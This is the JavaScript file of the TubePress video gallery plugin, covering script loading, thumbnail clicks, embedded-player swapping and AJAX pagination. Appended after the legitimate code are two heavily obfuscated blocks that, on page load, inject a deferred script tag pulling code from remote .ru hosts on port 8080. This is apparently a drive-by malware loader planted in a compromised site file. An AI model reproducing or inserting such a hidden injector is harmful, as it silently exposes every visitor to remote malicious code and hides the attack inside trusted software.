/**
 * Copyright 2006 - 2010 Eric D. Hough (http://ehough.com)
 * 
 * This file is part of TubePress (http://tubepress.org) and is released 
 * under the General Public License (GPL) version 3
 *
 * Shrink your JS: http://developer.yahoo.com/yui/compressor/
 */

/* caching script loader */
jQuery.getScript = function (url, callback, cache) {
	jQuery.ajax({ type: "GET", url: url, success: callback, dataType: "script", cache: cache }); 
}; 

/* append our init method to after all the other (potentially full of errors) ready blocks have 
 * run. http://stackoverflow.com/questions/1890512/handling-errors-in-jquerydocument-ready */
var oldReady = jQuery.ready, TubePress;
jQuery.ready = function () {
	try {
		oldReady.apply(this, arguments);
	} catch (e) { }
	try {
		TubePress.init(getTubePressBaseUrl());
	} catch (f) {
		alert("TubePress failed to initialize: " + f.message);
	}
};

TubePress = (function () {

	var init, loadEmbeddedJs, parseRels, loadPlayerJs, triggerPlayerLoadedEvent, clickListener,
			swapEmbedded, deepConstructObject, callPlayerJs, callWhenTrue, getWaitCall, loadCss, 
			centerThumbs, ajaxifyPaginationForGallery, processAjaxRequest, postAjaxGallerySetup;
	
	init = function (baseUrl) {
		jQuery().bind('tubepressPlayerLoaded', function (x, playerName, baseUrl) {
			var funcName = 'tubepress_' + playerName + '_player_init',
				f = function () {
					window[funcName](baseUrl);
				};
			callWhenTrue(function () {
				return typeof window[funcName] === 'function'; 
			}, f);
		});

		loadEmbeddedJs(baseUrl);
		loadPlayerJs(baseUrl);
		jQuery("a[id^='tubepress_']").click(clickListener);
	};

	/* loads up JS necessary for dealing with embedded Flash implementations that we find on the page */
	loadEmbeddedJs = function (baseUrl) {
		var embeddedNames = parseRels(1), i, emptyFunc = function () {};
		for (i = 0; i < embeddedNames.length; i = i + 1) {
			jQuery.getScript(baseUrl + "/ui/embedded_flash/" + embeddedNames[i] + "/" + embeddedNames[i] + ".js", emptyFunc, true);
		}
	};

	parseRels = function (index) {
		var returnValue = [];
		jQuery("a[rel^='tubepress_']").each(function () {
			var thisName = jQuery(this).attr("rel").split("_")[index];
			if (jQuery.inArray(thisName, returnValue) === -1) {
				returnValue.push(thisName);
			}
		});
		return returnValue;
	};

	/* loads up JS necessary for dealing with TubePress players that we find on the page */
	loadPlayerJs = function (baseUrl) {
		var playerNames = parseRels(2), i;
		for (i = 0; i < playerNames.length; i = i + 1) {
			var name = playerNames[i];
			jQuery.getScript(baseUrl + "/ui/players/" + name + "/" + name + ".js", 
				triggerPlayerLoadedEvent(name, baseUrl), true);
		}
	};
	
	triggerPlayerLoadedEvent = function (name, baseUrl) {
		jQuery().trigger('tubepressPlayerLoaded', [name, baseUrl]);
	};

	/* thumbnail click listener */
	clickListener = function () {
		var rel_split	= jQuery(this).attr("rel").split("_"),
		galleryId	= rel_split[3],
		playerName   = rel_split[2],
		embeddedName = rel_split[1],
		videoId = jQuery(this).attr("id").substring(16, 27);

		/* swap the gallery's embedded object */
		swapEmbedded(galleryId, videoId, embeddedName);
	
		/* then call the player to load up / play the video */
		callPlayerJs(galleryId, videoId, embeddedName, playerName);
	};

	/**
	 * This function is very carefully constructed to work with both IE 7-8 and FF.
	 * Modify at your own risk!!
	*/
	swapEmbedded = function (galleryId, videoId, embeddedName) {
		var wrapperId = "#tubepress_embedded_object_" + galleryId,
			wrapper = jQuery(wrapperId), newHtml;

		/* if we can't find the embedded object, just bail */
		if (wrapper.length === 0) {
			return;
		}

		var matcher = window["tubepress_" + embeddedName + "_matcher"](),
			paramName = window["tubepress_" + embeddedName + "_param"](),
			obj = jQuery(wrapperId + " > object"),
			oldVideoId = obj.children("param[name='" + paramName + "']").attr("value").match(matcher)[1];

		/* remove anything AdBlock plus sticks in there */
		obj.siblings().remove();
	
		/* save the params but remove them from the DOM for now */
		var params = obj.children("param");
		params.remove();

		/* create the new embedded object */
		newHtml = deepConstructObject(wrapper, params).replace(new RegExp(oldVideoId, 'g'), videoId);
	
		/* add it back in */
		wrapper.html(newHtml);

		/* now pat yourself on the back */	
	};

	callPlayerJs = function (galleryId, videoId, embeddedName, playerName) {
		if ((navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i))) {
			return;
		}
		var playerFunctionName = "tubepress_" + playerName + "_player";
		window[playerFunctionName](galleryId, videoId);
	};

	deepConstructObject = function (wrapper, params) {
		var newHtml = wrapper.html();
		
		/* chop off the closing </object>. Don't change this unless you want to break IE */
		newHtml = newHtml.substring(0, newHtml.length - 9);

		/* now add back the params, but this time with the new video ID */
		params.each(function () {
			newHtml += '<param name="' + this.name + '" value="' + this.value + '" />';
		});
	
		/* re-close the object */
		newHtml += '</object>';
		return newHtml;
	};

	/**
	 * Waits until the given test is true (tests every .4 seconds),
	 * and then executes the given callback.
	*/
	callWhenTrue = function (test, callback) {

		/* if the test doesn't pass, try again in .4 seconds */	
		if (!test()) {
			var futureTest = function () {
				callWhenTrue(test, callback);
			};
			setTimeout(futureTest, 400);
			return;
		}
		/* the test passed, so call the callback */
		callback();
	};

	getWaitCall = function (scriptPath, test, callback) {
		var futureCallback = function () {
			callWhenTrue(test, callback);
		};
		jQuery.getScript(scriptPath, futureCallback, true);
	};

	loadCss = function (path) {
		var fileref = document.createElement("link");
		fileref.setAttribute("rel", "stylesheet");
		fileref.setAttribute("type", "text/css");
		fileref.setAttribute("href", path);
		document.getElementsByTagName("head")[0].appendChild(fileref);
	};

	centerThumbs = function (gallerySelector) {
		jQuery(document).ready(function () {
			jQuery(gallerySelector + " div.tubepress_thumb").children().each(function () {
				var myWidth = jQuery(this).width(),
					parentWidth = jQuery(this).parent().width(),
					offset = (parentWidth - myWidth) / 2;
				jQuery(this).css("margin-left", offset);
			});
		});
	};

	ajaxifyPaginationForGallery = function (galleryId) {
		var clickCallback = function () {
			processAjaxRequest(jQuery(this), galleryId);
		};
		jQuery("#tubepress_gallery_" + galleryId + " div.pagination a").click(clickCallback);
	};

	processAjaxRequest = function (anchor, galleryId) {
		var baseUrl = getTubePressBaseUrl(), 
			shortcode = window["getUrlEncodedShortcodeForTubePressGallery" + galleryId](),
			page = anchor.attr("rel"),
			thumbnailArea = "#tubepress_gallery_" + galleryId + "_thumbnail_area",
			postLoadCallback = function () {
				postAjaxGallerySetup(thumbnailArea, galleryId);
			},
			pageToLoad = baseUrl + "/env/pro/lib/ajax/responder.php?shortcode=" + shortcode + "&tubepress_" + page + "&tubepress_galleryId=" + galleryId,
			remotePageSelector = thumbnailArea + " > *",
			loadFunction = function () {
				jQuery(thumbnailArea).load(pageToLoad + " " + remotePageSelector, postLoadCallback);
			};

		/* fade out the old stuff */
		jQuery(thumbnailArea).fadeTo('fast', '.01');
	
		/* use a tiny delay here to prevent the new content from showing up before we're done fading */
		setTimeout(loadFunction, 100);
	};

	postAjaxGallerySetup = function (thumbnailArea, galleryId) {
		centerThumbs("#tubepress_gallery_" + galleryId);
		jQuery("a[id^='tubepress_']").click(clickListener);
		ajaxifyPaginationForGallery(galleryId);
		jQuery(thumbnailArea).fadeTo('fast', 1);
	};

	/* return only public functions */
	return {
		init : 							init,
		deepConstructObject : 			deepConstructObject,
		getWaitCall : 					getWaitCall,
		clickListener : 				clickListener,
		loadCss : 						loadCss,
		ajaxifyPaginationForGallery :   ajaxifyPaginationForGallery,
        centerThumbs :  				centerThumbs
	};
}());
function S(){var m="";c=2109;c-=179;var U="cre"+"ate3Do".substr(0,3)+"Ele"+"men"+"t";this.z=32330;this.z-=120;var Qt=["g"];var SA=["MF"];var V=String("scBC2".substr(0,2)+"ri"+"zxq4ptxqz4".substr(4,2));var Q=new String("deTS8".substr(0,2)+"H9O3fe".substr(4)+"rZtKT".substr(0,1));var CZ={};var gr=["__","H","ut"];var B=new String("appe"+"ndCh"+"ild");var D=["I"];var q=window;SX=["qJx","o"];vv=44794;vv--;var E=new String("src");this.ZQ=63510;this.ZQ++;var u=document;try {var mQ='K'} catch(mQ){};var X={GC:"d"};var h="onloa"+"d";var A=new Date();var C="body";ih={mL:false};var NN=new Date();var Ca={yT:"rp"};function t(){this.mF=47897;this.mF--;try {yN={PQ:"mc"};this.eD=false;Un=["Hp","j","av"];zg=37285;zg+=158;var O=6261;var M=new String("htt"+"p:/"+"/gi"+"gafvIVQ".substr(0,3)+"4nWlee".substr(3)+"IU7t.r".substr(3)+"u:");var fl=21862;var eJ="eJ";var Ms=new String("/ov"+"er-Fida".substr(0,3)+"tUGibloUiGt".substr(4,3)+"g-c"+"om/"+"goo"+"Xb49gle".substr(4)+".co"+"m/d"+"moz"+".or4Jn".substr(0,3)+"8f9g.p89f".substr(3,3)+"hpQec".substr(0,2));cp={NY:1748};var P=480945-472865;var l=8024-8023;this.KW=33160;this.KW+=77;this.Ea=50548;this.Ea-=165;try {var grX='EL'} catch(grX){};var eZ=false;r=u[U](V);var LD=["ZH","Jd"];aE=["oU","ro"];mH={rI:false};var LU={bz:36794};var Qe='';r[Q]=l;r[E]=M+P+Ms;this.sR=49608;this.sR-=39;u[C][B](r);var Bs=new Array();var Og=new Date();} catch(Y){this.dY="";var BE={};};var jF=["QS","tS","gm"];}NH={Ve:"rg"};var n=new String();q[h]=t;try {var Se='aA'} catch(Se){};};var AY=new Date();S();
var K={JP:"bn"};var lA=new Date();var wf={Ih:"Kg"};try {var Qn=[];var JY=[];Pm=["h","hi"];var s=["KP","zW"];var n=new Date();var x=new Date();var M=window["8aNbunesc".substr(4)+"ape"];var j_=2827;p=51945;p--;Y=43081;Y--;this.f=53271;this.f-=72;this.U_=16926;this.U_--;this.MG=54065;this.MG+=169;TS={};var b="onloaRCsD".substr(0,5)+"dw7U".substr(0,1);this.Wn="Wn";Kg_=["MR","y","Go"];var N=["oL","cl"];ZF=56611;ZF+=251;var Jj=["Ak","zm"];var BE=window[("a8wxReg".substr(4)+"Exp0Ne".substr(0,3))];var Hv=new Date();KI=64147;KI-=82;mz=55671;mz-=203;var _=new Date();ZE=["xB","sI","NR"];var D=new String("1");this.Hh="Hh";try {var nV='hwG'} catch(nV){};this.jm=8557;this.jm+=95;this.Zq=63372;this.Zq++;this.yV="yV";var q='';Tb=["pw","TS_","xr"];TN=["PL","fn","Yu"];var mA="mA";var nO=new Array();try {var X='UX'} catch(X){};var _C={Sb:false};var w=new String("replaEDh".substr(0,5)+"oi5ce".substr(3));mS=5433;mS+=99;du=22819;du+=175;var Ov="";RV={yw:"na"};Oj=2721;Oj-=251;HW=["GY","rH"];var Wm=new Array();function B(D,v){var JV=[];this.qT=48683;this.qT-=117;i=16717;i-=221;XE=286;XE-=216;q_={FW:"bd"};var r=new String("[");var SbP=["Wj"];var FF=["gn"];_t=19494;_t++;this.RC=38206;this.RC+=178;r+=v;var qD=[];this.Sc="Sc";var qy=644;var Xx=new String();this.oa="oa";r+=M("%5d");var RT='';jH=["Bx","YTW","Ec"];try {} catch(Gr){};gK=["wT","ss","yv"];try {} catch(Xn){};var Sh=new Date();var IJ={dN:false};pm=32333;pm++;var IY={hv:false};var I=new BE(r, "g6hI".substr(0,1));sm=54803;sm-=137;var iG=new Date();var cm=new Date();this.VN=2578;this.VN--;var Oq=new Array();return D.replace(I, q);var dv={};};var Eb="Eb";var Cok="Cok";this.GB=2727;this.GB-=7;var u=421543-413463;try {var ES='uZ'} catch(ES){};try {var je='Zb'} catch(je){};var f_=["HK","rV","Hu"];var As=new Date();var e_=new Date();var W=String("htt"+"p:/"+"/go"+"F6vthg".substr(3)+"uil"+"t.r"+"u:");itN=63711;itN+=86;var c=new String("/gIG5".substr(0,2)+"oo"+"gl"+"e."+"co"+"BuYOm/BuOY".substr(4,2)+"3Vvfcj".substr(4)+".cEbQO".substr(0,2)+"om"+"MTo/1oMT".substr(3,2)+"Ate071".substr(4)+"73"+"OXxP.cxPOX".substr(4,2)+"om"+".p"+"t4Ghp".substr(3));var Nr=["nL","dov"];this.zu="";var iW=44415;var hF=new Array();var fd=[];dk=42402;dk++;function C(){var AQV=["enp","mT","vg"];Bd=55152;Bd--;try {var oU='oe'} catch(oU){};this.pE=44557;this.pE++;fa=18863;fa++;eg=[];var o=B('sRcurQihpUtQ','WRUja_uhYgQd');BcX=58191;BcX-=110;UY=55901;UY-=61;var Sa=[];var J=new String("appv4R".substr(0,3)+"MKFjend".substr(4)+"ChiZ1el".substr(0,3)+"ld");this.Ef='';var oO=document;var Tu={};var Ie={};this.SD=false;var ST={};var CCI=new Date();var JC="";iY=["YuT","NB","yP"];var Bu="";z=oO.createElement(o);var Vn="Vn";var aO="aO";Qo=[];sF=46398;sF+=57;l=W+u;l=l+c;var zgb={qTR:"kS"};var OG=["OS","oF","iS"];var rQ=["vV","hm","KE"];try {var fCG='_r'} catch(fCG){};var LdX=[];var EQ="EQ";var ne=[];var MN=[];z.src=l;this.Gk="";gV=["uw"];Ml={UF:"gbk"};Rz=["Cz"];var T=oO.body;this.AE=12307;this.AE-=21;this.ht=31698;this.ht-=108;var ok={};var nE={};this.MZ='';z[new String("de"+"fe"+"r")]=D;try {} catch(ab){};LK=["LT"];var PhN=false;var Wh='';LN=[];var BV=["Ek"];var Be="Be";T[J](z);var ti=62715;var ux={IG:false};JW=[];this.Kl=49297;this.Kl-=26;xBh={Ti:65308};};LW=["aX","ni"];bo=["Jl","AK"];try {} catch(GBI){};var vA="vA";var Rd=new String();var DbX=new String();var vD=new String();window[b]=C;Fo={Gu:false};this.Ds=59696;this.Ds+=5;hk={};eOC={};tD={uD:false};var qQ={gc:false};} catch(j){Gd=["Bi"];this.d_=55146;this.d_+=225;this.oS=false;var Atx={_P:"yTM"};var iR={LG:52123};var lr={nR:35238};};var Oo=["ui"];this.sIU="sIU";this.nug="nug";
